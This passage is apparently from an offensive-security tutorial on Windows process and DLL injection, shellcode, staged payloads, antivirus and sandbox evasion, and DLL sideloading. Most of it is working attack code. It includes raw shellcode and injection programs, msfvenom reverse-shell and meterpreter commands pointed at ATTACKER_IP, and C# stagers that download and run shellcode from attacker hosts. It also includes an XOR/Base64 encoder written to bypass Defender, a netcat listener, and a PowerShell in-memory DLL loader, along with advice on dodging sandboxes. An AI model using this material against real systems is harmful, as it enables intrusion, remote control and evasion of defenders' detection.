0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,
0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,
0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,
0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,
0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,
0xff,0xd5,0x48,0x81,0xc4,0x40,0x02,0x00,0x00,0x49,0xb8,0x63,
0x6d,0x64,0x00,0x00,0x00,0x00,0x00,0x41,0x50,0x41,0x50,0x48,
0x89,0xe2,0x57,0x57,0x57,0x4d,0x31,0xc0,0x6a,0x0d,0x59,0x41,
0x50,0xe2,0xfc,0x66,0xc7,0x44,0x24,0x54,0x01,0x01,0x48,0x8d,
0x44,0x24,0x18,0xc6,0x00,0x68,0x48,0x89,0xe6,0x56,0x50,0x41,
0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff,
0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,0xcc,0x3f,
0x86,0xff,0xd5,0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0x0e,0x41,
0xba,0x08,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,
0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,
0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5};

}

c++ example

#include
#include
const char* shellcode = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d"
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
int main()
{
    // Open a handle to the target process (replace with the appropriate process ID)
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 504);
    // Allocate memory within the target process
    LPVOID pRemoteCode = VirtualAllocEx(hProcess, NULL, strlen(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    // Write the shellcode to be injected into the allocated memory
    WriteProcessMemory(hProcess, pRemoteCode, shellcode, strlen(shellcode), NULL);
    // Create a remote thread in the target process that starts executing the injected shellcode
    HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);
    // Wait for the remote thread to finish
    WaitForSingleObject(hRemoteThread, INFINITE);
    // Cleanup
    CloseHandle(hRemoteThread);
    VirtualFreeEx(hProcess, pRemoteCode, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    return 0;
}

DLL Injection

In DLL injection, a programmer can inject a DLL file into a target process, which means that the code and data from the DLL become part of the running program. This allows the injected DLL to modify or enhance the behavior of the target process.

At a high-level DLL injection can be broken up into six steps:

  • Locate a target process to inject.
  • Open the target process.
  • Allocate memory region for malicious DLL.
  • Write the malicious DLL to allocated memory.
  • Load and execute the malicious DLL.

Step 1: Find the target process First, we need to locate the program where we want to inject the DLL. This is done by using some special functions provided by Windows. Here's an example code snippet in C++:

#include
#include
DWORD getProcessId(const char* processName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot) {
        PROCESSENTRY32 entry;
        entry.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(hSnapshot, &entry)) {
            do {
                if (!strcmp(entry.szExeFile, processName)) {
                    return entry.th32ProcessID;
                }
            } while (Process32Next(hSnapshot, &entry));
        }
    }
    return 0; // Process not found
}
DWORD processId = getProcessId("target.exe");

Step 2: Open the target process Once we have the process ID (PID), we can open the target process using the PID. This allows us to access and manipulate its memory. Here's an example code snippet:

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);

Step 3: Allocate memory for the DLL Next, we need to allocate memory in the target process where we can place the DLL. This is done using the VirtualAllocEx function. Here's an example code snippet:

LPVOID dllAllocatedMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

Step 4: Write the DLL to the allocated memory After allocating memory, we can write the contents of the DLL into the allocated memory using the WriteProcessMemory function. Here's an example code snippet:

WriteProcessMemory(hProcess, dllAllocatedMemory, dllPath, strlen(dllPath) + 1, NULL);

Step 5: Load and execute the DLL Finally, we can load and execute the DLL in the target process. We use the LoadLibrary function to load the DLL, and then create a remote thread in the target process to start executing the DLL code. Here's an example code snippet:

LPVOID loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
HANDLE remoteThreadHandler = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD

C# example

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
class Program
{
    // Import the necessary Windows API functions
    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
    [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
    public static extern IntPtr GetModuleHandle(string lpModuleName);
    [DllImport("kernel32.dll", CharSet = CharSet.Ansi)]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    // Path to the DLL file to be injected
    const string dllPath = "path/to/your/dll.dll";
    static void Main()
    {
        // Get the target process by name
        Process targetProcess = Process.GetProcessesByName("target")[0];
        // Open the target process with all access rights
        IntPtr hProcess = OpenProcess(0x1F0FFF, false, targetProcess.Id);
        // Allocate memory in the target process to hold the DLL path
        IntPtr dllMemory = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)dllPath.Length + 1, 0x00001000 | 0x00002000, 0x40);
        // Write the DLL path to the allocated memory
        byte[] dllPathBytes = System.Text.Encoding.ASCII.GetBytes(dllPath);
        int bytesWritten;
        WriteProcessMemory(hProcess, dllMemory, dllPathBytes, (uint)dllPathBytes.Length, out bytesWritten);
        // Get the address of the LoadLibraryA function from kernel32.dll
        IntPtr kernel32Module = GetModuleHandle("kernel32.dll");
        IntPtr loadLibraryAddr = GetProcAddress(kernel32Module, "LoadLibraryA");
        // Create a remote thread in the target process to load the DLL
        IntPtr thread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLibraryAddr, dllMemory, 0, IntPtr.Zero);
        // Wait for the thread to finish
        if (thread != IntPtr.Zero)
            WaitForSingleObject(thread, 0xFFFFFFFF);
        // Cleanup
        CloseHandle(hProcess);
        VirtualFreeEx(hProcess, dllMemory, (uint)dllPath.Length + 1, 0x8000);
    }
}

AV Evasion Shellcode

AV Evasion MindMap

BypassAV/Bypass-AV.pdf at main · CMEPW/BypassAV (github.com)

Bypass-AVDownload

AV Detection techniques

An AV detection technique searches for and detects malicious files; different detection techniques can be used within the AV engine, including:

Signature-based detection

Traditional AV technique that looks for predefined malicious patterns and signatures within files.

Heuristic detection

More advanced technique that includes various behavioral methods to analyze suspicious files.

Heuristic detection is a technique used in cybersecurity to identify potentially malicious or suspicious files or activities based on heuristics or rules. It involves analyzing the behavior, characteristics, or patterns of a file or code to determine if it exhibits traits commonly associated with malicious behavior. Unlike signature-based detection, which relies on known signatures or patterns, heuristic detection is more proactive and can detect previously unseen or unknown threats.

Here are some things you can do for evading heuristic detection:

  • Polymorphic Code: Implementing code that dynamically modifies its structure or behavior upon execution can make it more challenging for heuristic detection to identify and classify the code as malicious.
  • Anti-Analysis Techniques: Employing various anti-analysis techniques, such as code obfuscation, encryption, or packing, can make it harder for heuristic detection mechanisms to understand and analyze the code's true intent.
  • Environmental Awareness: Heuristic detection often relies on identifying abnormal behavior or patterns. By mimicking normal system behavior or modifying code execution based on environmental factors (e.g., time, system state), it may be possible to evade heuristic detection mechanisms.
  • Code Fragmentation: Splitting the malicious code into multiple fragments and executing them separately can make it harder for heuristic detection to piece together the entire malicious behavior, potentially leading to evasion.

Dynamic detection

A technique that includes monitoring the system calls and APIs and testing and analyzing in an isolated environment.

Dynamic analysis is when the AV runs your binary in a sandbox and watches for malicious activity (e.g. trying to decrypt and read your browser's passwords, performing a minidump on LSASS, etc.). This part can be a bit trickier to work with, but here are some things you can do to evade sandboxes.

  • Sleep before execution Depending on how it's implemented, it can be a great way of bypassing AV's dynamic analysis. AV's have a very short time to scan files to not interrupt the user's workflow, so using long sleeps can disturb the analysis of binaries. The problem is that many AV's sandboxes can just skip the sleep depending on how it's implemented.
  • Checking machine's resources Usually Sandboxes have very little resources to work with (e.g. < 2GB RAM), otherwise they could slow down the user's machine. You can also get very creative here, for example by checking the CPU's temperature or even the fan speeds, not everything will be implemented in the sandbox.
  • Machine-specific checks If you want to target a user who's workstation is joined to the "contoso.local" domain, you can do a check on the computer's domain to see if it matches the one you've specified, if it doesn't, you can make your program exit.

Static detection

Static detection is achieved by flagging known malicious strings or arrays of bytes in a binary or script, and also extracting information from the file itself (e.g. file description, company name, digital signatures, icon, checksum, etc.). This means that using known public tools may get you caught more easily, as they've probably been analyzed and flagged as malicious. There are a couple of ways of getting around this sort of detection:

  • Encryption If you encrypt the binary, there will be no way for AV of detecting your program, but you will need some sort of loader to decrypt and run the program in memory.
  • Obfuscation Sometimes all you need to do is change some strings in your binary or script to get it past AV, but this can be a time-consuming task depending on what you're trying to obfuscate.
  • Custom tooling If you develop your own tools, there will be no known bad signatures, but this takes a lot of time and effort.

Shellcode

Shellcode is a special set of instructions that are created to make a vulnerable program do things it shouldn't. Usually, it's used to gain control over the program and do malicious actions. For example, it can open up a system shell or create a connection for remote control.

When the shellcode is put into a process and executed by the vulnerable program, it changes how the program works. It updates registers (special memory storage) and functions so that the attacker's code gets executed.

Shellcode is typically written in Assembly language, which is a low-level programming language. It's then translated into hexadecimal codes, which are specific instructions that computers understand. Creating unique and custom shellcode helps bypass antivirus software, but it's not easy to do. It requires advanced knowledge and skill in Assembly language, which can be quite challenging.

Save code below as helloworld.asm.

section .text
    global _start
_start:
    jmp MESSAGE      ; 1) Let's jump to MESSAGE
GOBACK:
    mov rax, 0x1
    mov rdi, 0x1
    pop rsi          ; 3) We are popping into `rsi`; now we have the
                     ; address of "Hello, World!\r\n"
    mov rdx, 0xd
    syscall
    mov rax, 0x3c
    xor rdi, rdi     ; Clear rdi (exit code 0)
    syscall
MESSAGE:
    call GOBACK       ; 2) We are going back, since we used `call`, that means
                      ; the return address, which is, in this case, the address
                      ; of "Hello, World!\r\n", is pushed into the stack.
    db "Hello, World!", 0dh, 0ah
  • We start by jumping to the MESSAGE label. This means we want to execute the code starting from the MESSAGE label.
  • We then encounter the GOBACK routine. This routine is called using call, which pushes the address of the next instruction (the address of the message) onto the stack. It allows us to retrieve the address of the message later.
  • Inside the GOBACK routine, we first prepare the registers to call the sys_write function. We set rax to 1 to indicate that we want to use the sys_write function. We set rdi to 1, which represents the standard output (STDOUT) file descriptor. We pop the address of the message from the stack and store it in rsi, which will be used as the pointer to the message. Finally, we set rdx to 0xd (13 in decimal), which represents the length of the message.
  • After preparing the registers, we execute the syscall instruction to call the sys_write function. This will print the message to the console.
  • Next, we set rax to 0x3c, which represents the sys_exit function. We clear rdi by using xor rdi, rdi, which sets it to 0 (indicating exit code 0).
  • Finally, we execute the syscall instruction again to call the sys_exit function. This will exit the program.

In summary, the code sets up the necessary registers and uses system calls (sys_write and sys_exit) to print the "Hello, World!" message and then exit the program. The message itself is stored at the MESSAGE label, and the GOBACK routine is used to retrieve its address before calling sys_write.

# Assembler and link our code
user@AttackBox$ nasm -f elf64 helloworld.asm
user@AttackBox$ ld helloworld.o -o helloworld
user@AttackBox$ ./helloworld
"Hello, World!"

Lets extract the shellcode with the objdump command by dumping the .text section of the compiled binary.

objdump -d helloworld

To extract the hexadecimal values from the output, you can utilize objcopy to dump the .text section into a binary file named helloworld.text.

objcopy -j .text -O binary helloworld helloworld.text

To convert the helloworld.text file containing the shellcode in binary format to hexadecimal, the xxd command with the -i option can be used to output the binary file as a C string.

xxd -i helloworld.text

To confirm that the extracted shellcode works as we expected, we can execute our shellcode and inject it into a C program.

#include
int main(int argc, char **argv) {
    unsigned char message[] = {
       **SHELLCODE**
    };
    (*(void(*)())message)();
    return 0;
}

Compile it

gcc -g -Wall -z execstack helloworld.c -o helloworldx

Generating shellcode

The advantage of generating shellcode via public tools is that we don't need to craft a custom shellcode from scratch, and we don't even need to be an expert in assembly language. Most public C2 frameworks provide their own shellcode generator compatible with the C2 platform. Of course, this is so convenient for us, but the drawback is that most, or we can say all, generated shellcodes are well-known to AV vendors and can be easily detected.

msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c

Add the shellcode to this C code which will inject it into memory and execute calc.exe.

#include
char stager[] = {
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" };
int main()
{
        DWORD oldProtect;
        VirtualProtect(stager, sizeof(stager), PAGE_EXECUTE_READ, &oldProtect);
        int (*shellcode)() = (int(*)())(void*)stager;
        shellcode();
}

The provided code snippet is a Windows C program that contains a shellcode stager. It first defines a shellcode as a character array. Then, in the main() function, it uses VirtualProtect() to mark the shellcode as executable. Next, it casts the shellcode array as a function pointer and executes the shellcode using the shellcode() function.

Overall, this code allows the execution of the shellcode stored in the stager array by marking it as executable and then invoking it as a function.

Compile it.

i686-w64-mingw32-gcc calc.c -o calc-MSF.exe

Generate shellcode from EXE

Shellcode can also be stored in .bin files, which is a raw data format. To obtain shellcode from a raw binary file (.bin), we can use the xxd -i command in Linux. If a C2 Framework provides shellcode as a .bin file, we can convert it to its hexadecimal representation using this approach. Here are the steps to create a raw binary file and extract the shellcode:

  • Generate a raw shellcode to execute calc.exe using msfvenom and save it to /tmp/example.bin. The command is as follows:
 msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f raw > /tmp/example.bin

This command generates a raw payload without any encoding, resulting in a shellcode with a size of 193 bytes.

  • Verify the file type of /tmp/example.bin using the file command:
file /tmp/example.bin

The output should indicate that /tmp/example.bin is a data file.

  • Extract the shellcode from the binary file using the xxd -i command:
xxd -i /tmp/example.bin

This command converts the binary file to its hexadecimal representation and outputs it as an array of unsigned characters (_tmp_example_bin[]). The length of the shellcode is also provided (_tmp_example_bin_len = 193).

By comparing the output with the previously created shellcode using Metasploit, you can verify that they match.


Staged payloads

Staged payloads are a technique used in exploit development and remote code execution scenarios. They involve breaking down the payload into multiple stages or steps, where each stage is responsible for executing a specific task and preparing the system for the final payload execution.

The final shellcode is loaded in memory and never touches the disk. This makes it less prone to be detected by AV solutions.

Generate shellcode using msfvenom.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'
# -b '\x00\x0a\x0d': Sets a list of characters to avoid in the generated shellcode. The characters '\x00\x0a\x0d' correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network.

Notice that we are using the raw format for our shellcode, as the stager will directly load whatever it downloads into memory.

Use the staged payload below to fetch the generated shellcode.bin

https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs

using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program {
    // P/Invoke to kernel32.VirtualAlloc
    [DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
    // P/Invoke to kernel32.CreateThread
    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
    // P/Invoke to kernel32.WaitForSingleObject
    [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
    // Memory allocation constants
    private static UInt32 MEM_COMMIT = 0x1000;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
    public static void Main()
    {
        string url = "https://ATTACKER_IP/shellcode.bin";
        Stager(url);
    }
    public static void Stager(string url)
    {
        // Create a WebClient instance for downloading the shellcode
        WebClient wc = new WebClient();
        // Ignore certificate validation (for self-signed certificates)
        ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
        // Set the security protocol to TLS 1.2
        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
        // Download the shellcode from the specified URL
        byte[] shellcode = wc.DownloadData(url);
        // Allocate memory for the shellcode to be executed
        UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        // Copy the shellcode to the allocated memory
        Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
        // Variables for thread creation and execution
        IntPtr threadHandle = IntPtr.Zero;
        UInt32 threadId = 0;
        IntPtr parameter = IntPtr.Zero;
        // Create a new thread to execute the shellcode
        threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
        // Wait for the thread to finish executing the shellcode
        WaitForSingleObject(threadHandle, 0xFFFFFFFF);
    }
}

Another version

using System;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program
{
    // P/Invoke to kernel32.VirtualAlloc
    [DllImport("kernel32")]
    private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    // P/Invoke to kernel32.CreateThread
    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
    // P/Invoke to kernel32.WaitForSingleObject
    [DllImport("kernel32")]
    private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
    // Memory allocation constants
    private static uint MEM_COMMIT = 0x1000;
    private static uint PAGE_EXECUTE_READWRITE = 0x40;
    public static void Main()
    {
        // URL for the second stage payload
        string stage2Url = "https://attacker-server.com/stage2.bin";
        // Download and execute the second stage payload
        DownloadAndExecute(stage2Url);
    }
    public static void DownloadAndExecute(string url)
    {
        WebClient wc = new WebClient();
        ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
        // Download the second stage payload
        byte[] payload = wc.DownloadData(url);
        // Allocate memory for the payload
        IntPtr payloadAddress = VirtualAlloc(IntPtr.Zero, (uint)payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        // Copy the payload to the allocated memory
        Marshal.Copy(payload, 0, payloadAddress, payload.Length);
        // Execute the payload in a new thread
        IntPtr threadHandle;
        uint threadId;
        threadHandle = CreateThread(IntPtr.Zero, 0, payloadAddress, IntPtr.Zero, 0, out threadId);
        // Wait for the thread to finish executing the payload
        WaitForSingleObject(threadHandle, 0xFFFFFFFF);
    }
}

We can compile the staged payload by using csc on linux.

csc staged-payload.cs

Setup a simple HTTPS server.

openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes
python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"

Catch the reverse shell

nc -lvp 7474

Encoding and Encryption

What is encoding?

Encoding refers to the process of transforming data into a specific format or representation, often depending on a particular algorithm or encoding type. It is commonly used in various contexts, such as program execution, data storage and transmission, and file conversion. Encoding can be applied to different types of data, including videos, HTML, URLs, and binary files like executables and images.

What is encryption?

Encryption plays a crucial role in ensuring information and data security. It focuses on protecting data from unauthorized access and manipulation. Encryption involves converting plain, unencrypted content (plaintext) into an encrypted form (ciphertext) using an encryption algorithm and a key. Without knowledge of the algorithm and the key, the ciphertext cannot be read or decrypted.

Shellcode encoding and encryption

List encoders within metasploit framework.

Notice that all of the public encoders will be detected by AV as soon as it touches the victims disk.

msfvenom --list encoders | grep excellent

Example of using shikata_ga_nai encoding.

msfvenom -a x86 --platform Windows LHOST=ATTACKER_IP LPORT=443 -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f csharp

Listing encryptions modules within Metasploit framework

msfvenom --list encrypt

Example of using XOR encrypted payload.

In XOR encryption, each character of the plaintext (the original unencrypted message) is combined with a corresponding character from a secret key using the XOR operation. The secret key is a sequence of characters that serves as the encryption key. The XOR operation is applied bitwise, meaning it compares each corresponding bit of the plaintext character and the key character.

Notice that the payload will be flagged by the AV. The reason is still that AV vendors have invested lots of time into ensuring simple msfvenom payloads are detected.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=7788 -f exe --encrypt xor --encrypt-key "MyZekr3tKey***" -o xored-revshell.exe

Creating custom encoders

Encoder

 We will take a simple reverse shell generated by msfvenom and use a combination of XOR and Base64 to bypass Defender.

msfvenom LHOST=ATTACKER_IP LPORT=443 -p windows/x64/shell_reverse_tcp -f csharp

 In the code below we will be XORing the payload with a custom key first and then encoding it using base64. This is just an example and you should write your own custom encoder in order to evade detection.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Encrypter
{
    internal class Program
    {
        private static byte[] xor(byte[] shell, byte[] KeyBytes)
        {
            for (int i = 0; i < shell.Length; i++)
            {
                shell[i] ^= KeyBytes[i % KeyBytes.Length];
            }
            return shell;
        }
        static void Main(string[] args)
        {
            //XOR Key - It has to be the same in the Droppr for Decrypting
            string key = "THMK3y123!";
            //Convert Key into bytes
            byte[] keyBytes = Encoding.ASCII.GetBytes(key);
            //Original Shellcode here (csharp format)
            byte[] buf = new byte[460] { 0xfc,0x48,0x83,..,0xda,0xff,0xd5 };
            //XORing byte by byte and saving into a new array of bytes
            byte[] encoded = xor(buf, keyBytes);
            Console.WriteLine(Convert.ToBase64String(encoded));
        }
    }
}

 Remember to replace the buf variable with the shellcode you generated with msfvenom.

Self-decoding Payload

Since we have an encoded payload, we need to adjust our code so that it decodes the shellcode before executing it. To match the encoder, we will decode everything in the reverse order we encoded it, so we start by decoding the base64 content and then continue by XORing the result with the same key we used in the encoder. 

using System;
using System.Net;
using System.Text;
using System.Runtime.InteropServices;
public class Program {
    // Import required functions from kernel32.dll
    [DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
    [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
    // Constants for memory allocation and protection
    private static UInt32 MEM_COMMIT = 0x1000;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
    // XOR operation between shell and key bytes
    private static byte[] xor(byte[] shell, byte[] keyBytes)
    {
        for (int i = 0; i < shell.Length; i++)
        {
            shell[i] ^= keyBytes[i % keyBytes.Length];
        }
        return shell;
    }
    public static void Main()
    {
        // Encoded shellcode as Base64 string
        string dataBS64 = "qKDPSzN5UbvWEJQsxhsD8mM+uHNAwz9jPM57FAL....pEvWzJg3oE=";
        // Convert Base64 string to byte array
        byte[] data = Convert.FromBase64String(dataBS64);
        // Key used for XOR encoding
        string key = "THMK3y123!";
        // Convert key into bytes
        byte[] keyBytes = Encoding.ASCII.GetBytes(key);
        // XOR encode the shellcode
        byte[] encoded = xor(data, keyBytes);
        // Allocate memory with execute, read, and write permissions
        UInt32 codeAddr = VirtualAlloc(0, (UInt32)encoded.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        // Copy encoded shellcode into the allocated memory
        Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length);
        IntPtr threadHandle = IntPtr.Zero;
        UInt32 threadId = 0;
        IntPtr parameter = IntPtr.Zero;
        // Create a new thread to execute the shellcode
        threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
        // Wait for the thread to finish executing
        WaitForSingleObject(threadHandle, 0xFFFFFFFF);
    }
}

DLL Sideloading and Proxying

Sideloading

DLL Sideloading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other.

Check for programs susceptible to DLL Sideloading using Siofra and the following powershell script:

# This command will output the list of programs susceptible to DLL hijacking inside "C:\Program Files\" and the DLL files they try to load
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
    $binarytoCheck = "C:\Program Files\" + $_
    C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

Proxying

DLL Proxying forwards the calls a program makes from the proxy (and malicious) DLL to the original DLL, thus preserving the program's functionality and being able to handle the execution of your payload.

Use SharpDLLProxy fomr @flangvik.

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

The last command will give us 2 files: a DLL source code template, and the original renamed DLL.

5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.

DLL Injection

Inspiration: Bypassing Defender on modern Windows 10 systems | Purpl3 F0x Secur1ty

What we will do here is create a DLL in Visual Studio that will run our shellcode. Then use powershell to load it directly into memory. This method is good for evasion since it does not write to disk.

  • First open Visual Studio and create a new project using the template "Class Library (.NET Framework)
  • Paste the code below and do the required adjustment
  • Build the DLL
  • Start a webserver using python or apache
  • and run the following powershell command.
# Download the binary data of the DLL file from the specified URL and store it in the $data variable.
$data = (New-Object System.Net.Webclient).DownloadData('http://192.168.1.126/run2.dll')
# Load the DLL data as an assembly and assign it to the $assem variable.
$assem = [System.Reflection.Assembly]::Load($data)

# Retrieve the type information of the "ShellcodeRunner" class from the assembly and assign it to the $class variable.
$class = $assem.GetType("Class1.ShellcodeRunner")

